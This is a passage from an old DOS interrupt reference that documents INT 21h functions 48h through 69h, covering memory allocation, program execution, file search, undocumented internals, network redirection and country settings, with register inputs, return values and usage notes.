      - the leading slash "\" and drive designator are omitted

:int 21,48
^INT 21,48 - Allocate Memory

      AH = 48h
      BX = number of memory paragraphs requested
```

```
        on return:
        AX = segment address of allocated memory block (MCB + 1para)
           = error code if CF set  (see ~DOS ERROR CODES~)
        BX = size in paras of the largest block of memory available
             if CF set, and AX = 08 (Not Enough Mem)
        CF = 0 if successful
           = 1 if error


        - returns segment address of allocated memory block AX:0000
        - each allocation requires a 16 byte overhead for the ~MCB~
        - returns maximum block size available if error

        - see  ~INT 21,49~,  ~INT 21,4A~
:int 21,49
^INT 21,49 - Free Allocated Memory


        AH = 49h
        ES = segment of the block to be returned (~MCB~ + 1para)


        on return:
        AX = error code if CF set  (see ~DOS ERROR CODES~)


        - releases memory and MCB allocated by ~INT 21,48~
        - may cause unpredictable results is memory wasn't allocated using
          INT 21,48 or if memory wasn't allocated by the current process
        - checks for valid MCB id, but does NOT check for process ownership
        - care must be taken when freeing the memory of another process, to
          assure the segment isn't in use by a TSR or ISR
        - this function is unreliable in a TSR once resident, since
          COMMAND.COM and many other .COM files take all available memory
          when they load
        - see  INT 21,4A
:int 21,4a
^INT 21,4A - Modify Allocated Memory Block  (SETBLOCK)


        AH = 4A
        BX = new requested block size in paragraphs
        ES = segment of the block (~MCB~ + 1 para)


        on return:
        AX = error code if CF set  (see ~DOS ERROR CODES~)
        BX = maximum block size possible, if CF set and AX = 8


        - modifies memory blocks allocated by  ~INT 21,48~
        - can be used by programs to shrink or increase the size
          of allocated memory
        - PC-DOS version 2.1 and DOS 3.x will actually allocate the largest
          available block if CF is set.  BX will equal the size allocated.
        - see also  ~INT 21,49~
:int 21,4b:exec function
^INT 21,4B - EXEC/Load and Execute Program

        AH = 4B
        AL = 00  to load and execute program
           = 01  (Undocumented)  create program segment prefix and load
               program, but don't execute.  The CS:IP and SS:SP of the
```

```
             program is placed in parameter block.   Used by debuggers
         = 03  load program only
         = 04  called by MSC spawn() when P_NOWAIT is specified
      DS:DX = pointer to an ASCIIZ filename
      ES:BX = pointer to a parameter block


      on return:
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      ES:BX = when AL=1, pointer to parameter block similar to:

%     Offset Size        Description

        00   word   when AL=1, segment of env. or zero if using parents env.
             word   when AL=3, segment of load point for overlay
        02   dword  when AL=1, pointer to cmd line at PSP 80h
             word   when AL=3, relocation factor for EXE overlay
        06   dword  pointer to default ~FCB~ passed at ~PSP~ 5Ch
        0A   dword  pointer to default FCB passes at PSP 6Ch
        0E   dword  value of program SS:SP
        12   dword  value of program CS:IP


      - allows execution of an external program as well as overlay
        management from within an application
      - all registers except CS and IP are destroyed
      - SS and SP should be preserved in code segment before call
        since a bug in DOS version 2.x destroys these
      - return code can be retrieved if child process exits via ~INT 21,4C~
      - calling process must assure presence of enough unallocated memory
      - subfunction 4 returns with an error under DOS 4.x+
      - calls ~INT 21,55~

      - see also  ~INT 21,26~

:int 21,4c
^INT 21,4C - Terminate Process With Return Code


      AH = 4C
      AL = return code (for batch files)


      returns nothing


      - approved method of program termination
      - restores the terminate, ~Ctrl-Break~, and critical error exit
        addresses, flushes all buffers, frees memory and returns to
        DOS via the termination handler address
      - does not close FCBs
      - this function is not supported in versions of DOS before 2.x,
        so use ~INT 21,0~  or  ~INT 20~  to exit.


      - see also  ~INT 27~   ~INT 21,31~

:int 21,4d
^INT 21,4D - Get Return Code of Sub-process


      AH = 4D
```

```
	on return:
	AH = system exit code  (indicates normal termination)
	   = 00 for normal termination
	   = 01 if terminated by ctl-break
	   = 02 if critical device error
	   = 03 if terminated by ~INT 21,31~
	AL = child exit code


	- retrieve child process and system exit codes
	- this function can only be used to retrieve the exit code once
	  multiple attempts to read exit codes will cause errors

:int 21,4e
^INT 21,4E - Find First Matching File

	AH = 4E
	CX = attribute used during search  (see ~FILE ATTRIBUTES~)
	DS:DX = pointer to ASCIIZ filespec, including wildcards


	on return:
	AX = error code if CF set  (see ~DOS ERROR CODE~)
	~DTA~ = data returned from call in the format:

%	Offset Size  Description

	  00   byte    attribute of search (undocumented)
	       byte    drive letter used in search (DOS 3.1-4.x, undocumented)
	  01   byte    drive letter used in search (undocumented)
	     11bytes   search name used (DOS 3.1-4.x, undocumented)
	  02 11bytes   search name used (undocumented)
	  0C   byte    attribute of search (DOS 3.1-4.x, undocumented)
	  0D   word    directory entry number (0 based, undocumented)
	  0F   word    starting cluster number of current directory; zero
		     for root directory  (DOS 3.2+, undocumented)
	       dword   pointer to DTA (DOS 2.x-3.1, undocumented)
	  11   word    reserved
	  13   word    starting cluster number of current directory; zero
		     for root directory  (DOS 2.x+, undocumented)
	  15   byte    attribute of matching file
	  16   word    file time  (see ~FILE ATTRIBUTES~)
	  18   word    file date  (see FILE ATTRIBUTES)
	  1A   word    file size
	  1E 13bytes   ASCIIZ filename and extension in the form NAME.EXT
		     with blanks stripped

	- returns information on first file matching specifications
	- use ~INT 21,4F~ to retrieve following file matches
	- DOS 2.x cannot find . and .. entries, while DOS 3.x can unless
	  they represent the root directory
	- character devices return a zero for size, time and date in DOS 2.x,
	  while DOS 3.0 returns a 40h attribute and current time and date.
	- multiple calls to this function with a character device will
	  result in unpredictable results
	- normal files are always included along with files that match the
	  requested attributes except when the LABEL attribute is requested.
	  DOS 2.x returns all normal files when label is specified but 3.x
	  doesn't.  It's up to the programmer to determine which actually
	  match the requested attributes.
	- bit 8 of CX (file attributes) indicates Novell Netware shareable
	- see INT 21,1A
```

```
:int 21,4f
^INT 21,4F - Find Next Matching File


       AH = 4F
       DS:DX = unchanged from previous function 4E


       on return:
       AX = error code if CF set  (see ~DOS ERROR CODES~)


       - ~INT 21,4E~ should be called to find the first file and this
         function should be called to find all other matching files
       - normal files are always included along with files that match
         the requested attributes except when the LABEL attribute is
         requested.  It's up to the programmer to determine which
         actually match the requested attributes.
       - see  ~INT 21,1A~  ~DTA~  ~FILE ATTRIBUTES~

:int 21,50
^INT 21,50 - Set Current Process ID  (Undocumented DOS 2.x)


       AH = 50h
       BX = process ID number (process ~PSP~ segment address)


       returns nothing


       - the process ID number is actually the segment address of a
         program's PSP.  This is useful for TSR's to access their own
         file handle table inside their PSP.
       - this function cannot be called while in an ~INT 28~ handler in
         DOS 2.x unless the critical error flag is set or stack corruption
         will occur
       - safe in DOS 3.x INT 28 handlers since they use a different stack
         by default
       - available in OS/2 compatibility box
       - see  ~INT 21,51~   ~INT 21,62~

:int 21,51
^INT 21,51 - Get Current Process ID  (Undocumented DOS 2.x)

       AH = 51h

       on return:
       BX = process ID


       - The process ID  number is actually the segment address of program's
         PSP.       This in conjunction with ~INT 21,50~ is useful for TSR's to
         access their own file handle table in their respective ~PSP~.
       - this function cannot be called while in an ~INT 28~ handler in
         DOS 2.x unless the critical error flag is set or stack corruption
         will occur
       - ~INT 21,62~ is highly recommended for DOS 3.x due to a possible bug
         when activated from a TSR.  DOS may switch to the wrong internal
         stack which may cause a problems with TSR's if called during an
         INT 28.
       - see INT 21,62 (Get PSP segment) for DOS 3.x applications
```

```
:int 21,52:INVARS
^INT 21,52 - Get Pointer to DOS "INVARS"  (Undocumented)

      AH = 52h

      on return:
      ES:BX = pointer to DOS "invars", a table of pointers used by DOS.
            Known "invars" fields follow (varies with DOS version):

%     Offset Size        Description

       -12   word   sharing retry count (DOS 3.1-3.3)
       -10   word   sharing retry delay  (DOS 3.1-3.3)
        -8   dword  pointer to current disk buffer (DOS 3.x)
        -4   word   pointer in DOS code segment of unread CON input;
                  0 indicates no unread input (DOS 3.x)
        -2   word   segment of first Memory Control Block (~MCB~)
        00   dword  pointer to first ~DRIVE PARAMETER TABLE~ (A:) in chain
        04   dword  pointer to DOS ~System File Table~ (SFT)
        08   dword  pointer to $CLOCK device driver
        0C   dword  pointer to CON device driver
        10   byte   number of logical drives in system
        11   word   maximum bytes/block of any block device
        13   dword  pointer to DOS cache buffer header
        17 18bytes  NUL device header, first 4 bytes of device header
                  point to the next device in device chain


^DOS 3.0 Specific Information

%     Offset Size       Description

        10   byte   number of block devices
        11   word   max sector size used by DOS prior to loading block
                  device drivers;  limits allowable device sector size
        13   dword  pointer to DOS cache buffer header
        17   dword  pointer to drive information table
        1B   byte   value of LASTDRIVE command in CONFIG.SYS
        1C   dword  pointer to STRING= workspace area
        20   word   size of STRING area (CONFIG.SYS value of STRING=x)
        22   dword  ~FCB~ file table pointer
        26   word   number of protected FCBs
        28  18bytes NUL device header, first 4 bytes of device header
                  point to the next device in device chain


^DOS 3.1-3.3  Specific Information

%     Offset Size        Description

        10   word   max sector size used by DOS prior to loading block
                  device drivers;  limits allowable device sector size
        12   dword  pointer to DOS cache buffer header
        16   dword  pointer to drive information table
        1A   dword  ~FCB~ file table pointer
        1E   word   number of protected FCBs
        20   byte   number of block devices
        21   byte   value of LASTDRIVE command in CONFIG.SYS
        22  18bytes NUL device header, first 4 bytes of device header
                  point to the next device in device chain
        34   byte   number of JOIN'ed drives
```

```
^DOS 4.x  Specific Information

%     Offset Size       Description

        10   word   max sector size used by DOS prior to loading block
                  device drivers;  limits allowable device sector size
        12   dword  pointer to DOS cache buffer header
        16   dword  pointer to drive information table
        1A   dword  FCB file table pointer
        1E   word   number of protected FCBs
        20   byte   number of block devices
        21   byte   value of LASTDRIVE command in CONFIG.SYS (default 5)
        22  18bytes NUL device header, first 4 bytes of device header
                  point to the next device in device chain
        34   byte   number of joined drives
        35   word   pointer within IBMDOS code segment to list of special
                  program names
        37   dword  pointer to resident IFS utility function
        3B   dword  pointer to chain of installable file system drivers
        3F   word   the x in BUFFERS x,y (rounded up to multiple of 30
                  if EMS is used)
        41   word   the y in BUFFERS x,y
        43   byte   boot drive (1=A:)
        44   byte   ???
        45   byte   extended memory size in K bytes


      - see ~Bibliography~ references for Bernd Schemmer & "Undocumented DOS"
      - see   ~INDOS~  ~INT 21,5D~
:int 21,53
^INT 21,53 - Generate Drive Parameter Table  (Undocumented)


      AH = 53h
      DS:SI = address of BIOS Parameter Block (~BPB~)
      ES:BP = pointer to buffer to hold first Drive Parameter Table (~DPT~)


      returns:
      ES:BP = pointer to buffer containing the first Drive Parameter Table
            in chain


      - available since DOS 2.0+
      - translates BPB  into a DOS Disk Parameter Table
      - see  ~INT 21,32~  ~INT 21,52~
:int 21,54
^INT 21,54 - Get Verify Setting


      AH = 54h


      on return:
      AL = 00  verify off
         = 01  verify on


      - returns value of disk read after write verification flag

      - see ~INT 21,2E~

:int 21,55
```

```
^INT 21,55 - Create New PSP  (Undocumented)

      AH = 55h
      DX = New PSP segment address
      SI = memory size value to place in ~PSP~ offset 02h (DOS 3+)

      returns nothing

      - the following should be observed when using this function

        o  Allocate memory for the PSP and program code  (~INT 21,48~)
        o  Duplicate the PSP  (~INT 21,55~)
        o  Load program code into allocated segment above the new PSP
        o  Save Current PSP
        o  Set PSP to the PSP just created  (~INT 21,50~)
        o  Jump to start of code if .COM otherwise handle relocation,
           setup stack and registers

      - similar to ~INT 21,26~ except the PSP is setup by DOS
      - increments reference count in ~SFT~ for all inherited files
      - files flagged as not inheritable are marked as closed in the
        new PSP
      - invoked by ~INT 21,4B~

      - see ~UNDOC~   ~INT 21,4B~   ~INT 21,26~
:int 21,56
^INT 21,56 - Rename File


      AH = 56h
      DS:DX = pointer to old ASCIIZ path/filename
      ES:DI = pointer to new ASCIIZ path/filename


      on return:
      AX = error code if CF set  (see ~DOS ERROR CODES~)


      - supports full pathnames and allows renaming files across
        directories and in DOS 3.x allows renaming subdirectories
      - does not support use of wildcards unless invoked from via
        ~INT 21,5D~ in which case error code 12h is returned
      - unpredictable result may occur if an opened file is renamed
      - see ~Bibliography~ reference to "Undocumented DOS"
:int 21,57
^INT 21,57 - Get/Set File Date and Time Using Handle

      AH = 57h
      AL = 00  get date and time
         = 01  set date and time
         = 02  ??? (DOS 4.0+ undocumented)
         = 03  ??? (DOS 4.0+ undocumented)
         = 04  ??? (DOS 4.0+ undocumented)
      BX = file handle
      CX = time to set (if setting)
      DX = date to set (if setting)
      ES:DI = pointer to buffer to contain results


      on return:
      AX = error code if CF set  (see  ~DOS ERROR CODES~)
      CX = file time (if reading, see below)
      DX = file date (if reading, see below)
```

%   Time encoding:

```
      ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  Time in CX
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄÄÄÄ  two second incr (0-29)
       ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ  minutes 0-59)
       ÀÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  hours (0-29)
```

%   Date Encoding

```
      ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  Date in DX
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÁÄÄÄÄ  day (1-31)
       ³ ³ ³ ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ  month (1-12)
       ÀÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  year - 1980
```

:int 21,58
^INT 21,58 - Get/Set Memory Allocation Strategy
^(Undocumented, DOS 3.x)

AH = 58h
AL = 00 get strategy code
   = 01 set strategy code
BX = strategy code (when AL = 01)
   = 00 first fit (default)
   = 01 best fit
   = 02 last fit

on return:
AX = strategy code if CF clear
   = error if CF set, see ~DOS ERROR CODES~

- defaults to first fit, first block large enough is chosen
- in first fit, DOS searches the ~MCB~ chain from low addresses to high for the first block large enough to fill the request. For best fit, DOS searches all memory blocks for the closest fit. In last fit, DOS starts at high addresses and works downward and uses the high part of the chosen block
- any strategy value greater than 2 defaults to 2, but the last value set, even if incorrect, is the value returned by the get strategy

:int 21,59
^INT 21,59 - Get Extended Error Information (DOS 3.0+)

AH = 59h
BX = 00 for versions 3.0, 3.1, 3.2

on return:
AX = extended error code (see ~DOS ERROR CODES~)
   = 0 if no error
BH = error class
BL = suggested action
CH = locus

- may be called after any ~INT 21~ function or from ~INT 24~ when an error is returned
- must be called immediately after the error occurs
- registers CX, DX, DI, SI, BP, DS and ES are destroyed

:int 21,5a
^INT 21,5A - Create Temporary File (DOS 3.0+)

AH = 5A

```
      CX = attribute
      DS:DX = pointer to ASCIIZ path ending in '\'


      on return:
      AX = handle if call CF clear
         = error code if CF set  (see ~DOS ERROR CODES~)
      DS:DX = pointer to updated ASCIIZ filespec


      - creates files with random names with any combination of
        the following attributes: normal, system and hidden
      - ending backslash is required

:int 21,5b
^INT 21,5B - Create File  (DOS 3.0+)


      AH = 5B
      CX = attribute
      DS:DX = pointer to ASCIIZ path/filename


      on return:
      AX = handle if CF not set
         = error code if CF set  (see ~DOS ERROR CODES~)


      - standard method of opening files
      - returns a file handle of a file opened with specified
        attributes (combinations of normal, system and hidden)

:int 21,5c
^INT 21,5C - Lock/Unlock File Access  (DOS 3.0+)

      AH = 5C
      AL = 00  lock file
         = 01  unlock file
      BX = file handle
      CX = most significant word of region offset
      DX = least significant word of region offset
      SI = most significant word of region length
      DI = least significant word of region length


      on return:
      AX = error code if CF set  (see ~DOS ERROR CODES~)


      - used for networking and multi-tasking system to preserve
        data integrity
      - duplicated handles inherit access to locked regions
      - EXEC'd programs do not inherit access to locked regions
:int 21,5d
^INT 21,5D - Critical Error Information  (Undocumented, DOS 3.x+)

%     See second reference below for more information about this interrupt
%     information presented here is incomplete

      AH = 5D
      AL = 00  server function call  (DOS 3.1+)
         = 01  commit all files  (DOS 3.1+)
         = 02  SHARE: close file by name  (DOS 3.1+)
```

```
         = 03  SHARE: close all files for given computer  (DOS 3.1+)
         = 04  SHARE: close all files for given process  (DOS 3.1+)
         = 05  SHARE: get open file list entry  (DOS 3.1+)
         = 06  get address of DOS swappable area into DS:SI  (DOS 3.0+)
         = 07  get network redirected printer mode  (DOS 3.1+)
         = 08  set network redirected printer mode  (DOS 3.1+)
         = 09  flush network redirected printer output  (DOS 3.1+)
         = 0A  set extended error information  (DOS 3.1+)
         = 0B  get DOS swappable data areas  (DOS 4.x+)
      DS:DX = pointer to 18 byte DOS Parameter List (DPL, if AL=00)
            = pointer to 9 byte data block of the form (AL=0A):

%           Offset Size Description

            00   word   extended error code to set
            02   dword  pointer to driver address to set
            06   byte   action code to set
            07   byte   class code to set
            08   byte   locus code to set

      on return:
      DS:SI = (if AL was 6) address of critical flag of the form:

%           Offset Size      Description

            00   word   extended error code
            02   byte   action code
            03   byte   class code
            04   byte   pointer to driver address

      - function 0 copies 18 bytes from DS:SI to the DOS internal
        register-save area;  this data will be placed in the registers
        when DOS returns to the caller thereby circumventing the DOS
        register save logic
      - may be used by a TSR to prevent accidental changing of an error
        code and causing problems in the foreground process
      - see ~bibliography~ references for "Undocumented DOS" and "DOS
        Programmers Reference"

      - see ~INT 21,59~
:int 21,5e
^INT 21,5E  AL=0  Get Machine Name  (DOS 3.1+)

      AH = 5E
      AL = 00 get machine name
      DS:DX = far pointer to buffer receiving name string


      on return:
      AX = error code if CF set, (invalid function)
      CH = 0      if name not defined
         > 0      if name defined
      CL = NETBIOS name number, if CH not 0
      DS:DX = far pointer to buffer containing string if CH not 0


      - returns pointer to an ASCIIZ string identifying the
        computer on a Microsoft network
      - output string is a 15 bytes long, padded with blanks and
        null terminated
      - unpredictable if called without file sharing loaded
```

^INT 21,5E AL=01 Set Machine Name (DOS 3.1+)

```
AH = 5E
AL = 01 set machine name
CH = 00 undefine name
   = any other value means to define name
CL = name number
DS:DX = pointer to 15 byte, blank padded ASCIIZ name string


on return:
AX = error code if CF set, (invalid function)


- specifies the network machine name on a Microsoft network
- unpredictable if called without file sharing loaded
```

^INT 21,5E AL=02 Set Printer Setup (DOS 3.1+)

```
AH = 5E
AL = 02 set printer setup
BX = redirection list index (see ~INT 21,5F~ AL=2)
CX = length of setup string
DS:SI = far pointer to printer setup string


on return:
AX = error code if CF set, (invalid function)


- see INT 21,5F subfunction 2 for information on obtaining the
  redirection list index
- fails if file sharing is not loaded
```

^INT 21,5E AL=03 Get Printer Setup (DOS 3.1+)

```
AH = 5E
AL = 03 get printer setup
BX = redirection list index (see ~INT 21,5F~ AL=2)
ES:DI = far pointer to buffer to receive setup string


on return:
AX = error code if CF set


- see INT 21,5F subfunction 2 for information on obtaining the
  redirection list index
- fails if file sharing is not loaded
```

^INT 21,5E AL=04 Set Printer Mode (DOS 3.1+)

```
AH = 5E
AL = 04  set printer setup
BX = redirection list index (see INT 21,5F AL=2)
DX = printer mode to set (bit zero is set for binary mode and clear
     for translated/text mode)
```

```
        on return:
        AX = error code if CF set


        - see INT 21,5F subfunction 2 for information on obtaining the
          redirection list index
        - fails if file sharing is not loaded
        - issues ~INT 2F,11~  and  ~INT 2F,1F~


^INT 21,5E  AL=05  Get Printer Mode  (DOS 3.1+)


        AH = 5E
        AL = 05  set printer setup
        BX = redirection list index (see INT 21,5F AL=2)


        on return:
        AX = error code if CF set
        DX = printer mode where bit zero is set for binary mode and
             clear for translated mode



        - see ~INT 21,5F~ subfunction 2 for information on obtaining the
          redirection list index
        - fails if file sharing is not loaded
        - issues  ~INT 2F,11~  and  ~INT 2F,1F~
:int 21,5f
^INT 21,5F  AL=00  Get Redirection Mode  (DOS 3.1+)


        AH = 5F
        AL = 00
        BL = redirection type
           = 03  printer
           = 04  disk drive


        on return:
        AX = error code if CF is set
        BH = device redirection state
           = 00  redirection off
           = 01  redirection on


        - determines if disk or printer redirection is enabled
        - fails if file sharing is not loaded


^INT 21,5F  AL=01  Set Redirection Mode  (DOS 3.1+)


        AH = 5F
        AL = 01
        BH = device redirection state
           = 00  turn redirection off
           = 01  turn redirection on
        BL = redirection type
           = 03  printer
```

```
         = 04  disk drive


      on return:
      AX = error code if CF is set


      - enables or disables disk or printer redirection
      - local devices are used when redirection is off
      - fails if file sharing is not loaded
```

^INT 21,5F AL=02 Get Redirection List Entry (DOS 3.1+)

```
      AH = 5F
      AL = 02
      BX = redirection list index
      DS:SI = far pointer to a 16 byte buffer to hold device name
      ES:DI = far pointer to a 128 byte buffer to hold network name

      on return:
      AX = error code if CF is set
         = 1      invalid function code
         = 12 no more files
      BH = device status flag,
         bit 0 = 0  device valid
         bit 0 = 1  device invalid
      BL = device type
         = 3      printer
         = 4      drive
      CX = stored parameter value
      DS:SI = far pointer to ASCIIZ local device name
      ES:DI = far pointer to ASCIIZ network name

      - value returned in CX is the value previously passed to
        INT 21,5F with subfunction 3 in register CX
      - registers DX and BP are destroyed
      - fails if file sharing is not loaded
```

^INT 21,5F AL=03 Redirect Device (DOS 3.1+)

```
      AH = 5F
      AL = 03
      BL = device type
         = 3 if printer
         = 4 if drive
      CX = parameter to save for caller
      DS:SI = far pointer to ASCIIZ local device name
      ES:DI = far pointer to ASCIIZ network name followed
            by ASCIIZ password

      on return
      AX = error code if CF is set
         = 1      invalid function code or
            invalid source or destination string format or
            source device already redirected
         = 3      path not found
         = 5      access denied
         = 8      insufficient memory

      - parameter passed in CX can later be retrieved by calls
        to INT 21,5F subfunction 2
```

```
      - local device name in DS:SI can be a drive designator
        (D:), a printer name (PRN or LPTx), or a null string
      - when a null string is followed by a password is used, DOS
        tries granting access to the network directory using the
        given password
      - fails if file sharing is not loaded


^INT 21,5F  AL=04  Cancel Device Redirection  (DOS 3.1+)


      AH = 5F
      AL = 04
      DS:SI = far pointer to ASCIIZ local device name


      on return
      AX = error code if CF set
         = 01  function code invalid
              ASCIIZ string is not an existing source device
         = 0F  redirection paused on server


      - local device name in DS:SI can be a drive designator
        (D:), a printer name (PRN or LPTx), or a string beginning
        with 2 backslashes "\\"
      - when two backslashes are used for the string the connection
        between the local machine and network directory terminates
      - fails if file sharing is not loaded

^INT 21,5F  AL=05  Get Redirection List Extended Entry (DOS 4.0+)

      AH = 5F
      AL = 05
      BX = redirection list index
      DS:SI = pointer to buffer to receive ASCIIZ source device name
      ES:DI = pointer to buffer to receive ASCIIZ network path

      on return
      AX = error code if CF set
      BH = device status flag (bit 0 clear if valid)
      BL = device type
         = 03  printer device
         = 04  disk device
      CX = stored user parameter value
      BP = NETBIOS local session number
      DS:SI = pointer to buffer containing ASCIIZ source device name
      ES:DI = pointer to buffer containing ASCIIZ network path


      - retrieves the status, type, source and target of a given redirection
      - fails if file sharing is not loaded


^INT 21,5F  AL=06  Get Redirection List (DOS 4.0+)


      AH = 5F
      AL = 06

      - no information is currently available for this subfunction
:int 21,60
^INT 21,60 - Get Fully Qualified File Name (Undocumented 3.x+)
```

```
	AH = 60h
	DS:SI = pointer to ASCIIZ string containing unqualified filename
	ES:DI = pointer to 128 byte buffer to contain fully qualified filename


	on return:
	ES:DI = address of fully qualified filename string
	AH = error code if CF set


	- undocumented, available in DOS 3.x+
	- does not check for file existence, simple provides a fully
	  qualified filename for the given filespec
	- this function ignores ASSIGN'ed, JOIN'ed, SUBST'ed and network
	  redirections and returns the true path name
	- returned string is in upper case and has forward slashes replaced
	  by back slashes;  filename always begins with "d:" or "\\" format
	- AL register is destroyed
	- supported by OS/2 1.1 compatibility box
:int 21,62
^INT 21,62 - Get PSP address  (DOS 3.x)


	AH = 62h


	on return:
	BX = segment address of current process



	- this is useful for TSR's to access their own file handles
	- for DOS 2.x use ~INT 21,51~

	- see also  ~INT 21,50~
:int 21,63
^INT 21,63 - Get Lead Byte Table  (MSDOS 2.25 only)

%	See below for information on the Asian INT 21,63 specifications

	AH = 63h
	AL = 00  get address of system lead byte table
	   = 01  set or clear interim console flag
	   = 02  get value of interim console flag
	DL = 00  clear interim console flag (when AL=01)
	   = 01  set interim console flag (when AL=01)

	on return
	AX = error code if CF set
	DS:SI = far pointer to lead byte table (AL=00)
	DL = value of interim console flag (AL=02)

	- available only in MSDOS 2.25
	- provides multiple byte character support
	- function 00, returns the address of system table containing
	  legal lead byte ranges
	- function 01 & 02 set and get the interim console flag which
	  determines whether interim bytes are returned on some console
	  functions
	- all registers except CS:IP and SS:SP may be destroyed
```

```
^INT 21,63 - Get Lead Byte Table  (Asian DOS 3.2+)

      AH = 63h
      AL = 00  get address of Double Byte Character Set (DBCS) lead table
         = 01  set Hongeul (Korean) input mode
         = 02  get Hongeul (Korean) input mode
      DL = new keyboard input mode
         = 00  return completely formed characters only
         = 01  return partially formed characters also


      on return
      AL = 00 on success
         = FF if function not supported
      DS:SI = pointer to DBCS table  (function 00)
      DL = current keyboard input mode (function 02)
         = 00  only completely formed characters are accepted
         = 01  partially formed characters are accepted


      - available only in Asian MSDOS 3.2+
      - provides Asian multiple byte character support
      - all registers except CS:IP and SS:SP may be destroyed
      - DOS 4.0 returns an empty list
:int 21,64
^INT 21,64 - Set Device Driver Look Ahead  (Undocumented)


      AH = 64h
      AL = value for switch
           00   causes DOS to perform look ahead to the device driver
              before execution of ~INT 21,1~, ~INT 21,8~ and ~INT 21,A~
           other - no look ahead is performed


      returns ???


      - DOS internal; should not be called by user program
      - switch defaults to zero
      - undocumented; since DOS 3.3
      - some other subfunctions are know to have existed since DOS 3.2 but
        details on their functionality are incomplete
:int 21,65
^INT 21,65 - Get Extended Country Information (DOS 3.3+)

      AH = 65h
      AL = 01  get extended country information
         = 02  get pointer to character translation table
         = 04  get pointer to filename character translation table
         = 05  get pointer to filename terminator table
         = 06  get pointer to collating sequence
         = 07  get segment of DCBS vector (DOS 4.x)
         = 20  country dependant character capitalization (DOS 4+)
         = 21  country dependant string capitalization (DOS 4+)
         = 22  country dependant ASCIIZ string capitalization (DOS 4+)
         = 23  determine if character represents country relative
             Yes or No response (DOS 4+)
         = A0  country dependant filename character capitalization (DOS 4+)
         = A1  country dependant filename string capitalization (DOS 4+)
         = A2  country dependant ASCIIZ filename capitalization (DOS 4+)
      BX = code page (-1 = current global code page, AL < 20h)
```

```
        CX = amount of data to return
           = length of string (AL=21h, A1h)
        DX = country ID (-1 = current country, AL < 20h)
        DL = character to capitalize or test (AL=20h, 23h, A0h)
        DH = second character if double byte character (AL=23h)
        ES:DI = pointer to output buffer (AL < 20h, see tables below)
        DS:DX = pointer to string to capitalize (AL=21h, 22h, A1h, A2h)


        on return
        AX = error code if CF is set  (see ~DOS ERROR CODES~)
           = 00  NO response if (AL was 23h)
           = 01  YES response if (AL was 23h)
           = 02  not a yes or no response (AL was 23h)
        CX = amount of data returned
        DL = capitalize character (AL=20)
        ES:DI pointer to returned table of the forms:


%       Offset Size Table for Function 01

          00   byte   country id = 01
          01   word   size (38 or less)
          03   word   country id
          05   word   code Page
          07   word   date Format
          09  5bytes  currency symbol string (ASCIIZ)
          0E  2bytes  thousands separator string (ASCIIZ)
          10  2bytes  decimal separator string (ASCIIZ)
          12  2bytes  date separator string (ASCIIZ)
          14  2bytes  time Separator string (ASCIIZ)
          16   byte   currency symbol location
          17   byte   currency decimal places
          18   byte   time format
          19   dword  extended ASCII map call address
          1D  2bytes  list separator string (ASCIIZ)
          1F  10bytes reserved


%       Offset Size Table for Function 2
          00   byte   country Id = 02
          01   dword  pointer to uppercase table


%       Offset Size Table for Function 4
          00   byte   country Id = 04
          01   dword  pointer to filename character translation table


%       Offset Size Table for Function 5
          00   byte   country Id = 05
          01   dword  pointer to filename uppercase table


%       File Terminator Table for Function 5
          00   word   table size
          02  7bytes  unknown
          09   byte   length of following data
          0A  nbytes  list of filename termination characters, ex:
                     < > . " / \ [ ] : | + = ; ,

%       Offset Size Table for Function 6
          00   byte   country Id = 06
```

```
          01   dword  pointer to collating table


%     Offset Size Table for Function 7
          00   byte   country Id = 07
          01   dword  pointer to byte pair table


      - functions A0, A1, A2 are implemented in DOS 4.x but don't work
:int 21,66
^INT 21,66 - Get/Set Global Code Page  (DOS 3.3+)


      AH = 66h
      AL = 01  get global code page
         = 02  set global code page
      BX = active code page if setting
      DX = system code page if setting


      on return
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      BX = active code page  (for AL=1 only)
      DX = system code page  (for AL=1 only)


      - moves country data from COUNTRY.SYS to country memory table

:int 21,67
^INT 21,67 - Set Handle Count  (DOS 3.3+)

      AH = 67h
      BX = new maximum open handles allowed

      on return
      CF = 0 if successful
         = 1 if error
      AX = error code if CF is set  (see ~DOS ERROR CODES~)


      - gives program control of the number of files simultaneously open
      - if CX is less than the current number of open files the change
        will take effect when the number of open handles falls below
        the new limit
      - this function allows the application to use more than 20 files,
        up to the FILES=N limit
      - earlier copies of IBM DOS 3.3 sometimes incorrectly allocates
        memory (up to 64K) if an even number of handles is requested
      - only the first 20 files handles are copied to a child process
        regardless of the max number of files
      - it is possible to allocate more than 255 file handles but it is
        difficult to use more than 255

      - see  ~SFT~   ~FILE HANDLES~
:int 21,68
^INT 21,68 - Flush Buffer Using Handle   (DOS 3.3+)


      AH = 68h
      BX = file handle


      on return
```

```
      AX = error code if CF set  (see ~DOS ERROR CODES~)


      - flushes DOS buffers to disk, does not update directory entry

:int 21,69
^INT 21,69 - Get/Set Disk Serial Number  (Undocumented DOS 4+)

      AH = 69h
      AL = 00 get serial number
         = 01 set serial number
      BL = drive (0 = default, 1=A:, 2 = B:, ... )
      DS:DX = buffer to contain extended BIOS Parameter Block (~BPB~, AL=0)
            = disk information to set of the form:

%       Offset  Size         Description
          00       word        info level (zero)
          02       dword   disk serial number (binary)
          06      11bytes   volume label or "NO NAME    " if not present
          11       8bytes   filesystem type string "FAT12   " or "FAT16"

      returns:
      CF = set on error
         AX = error code if CF set
            = 01  network drive not supported
            = 05  no extended BPB found on disk
      CF = clear if successful and value in AX is destroyed
         AL = 00  buffer filled from Extended BPB on disk
            = 01  disk Extended BPB updated from buffer
      DS:DX = pointer to returned data, when AL = 0


      - copies data from Extended BIOS Parameter Block to buffer
      - no critical error is generated on error
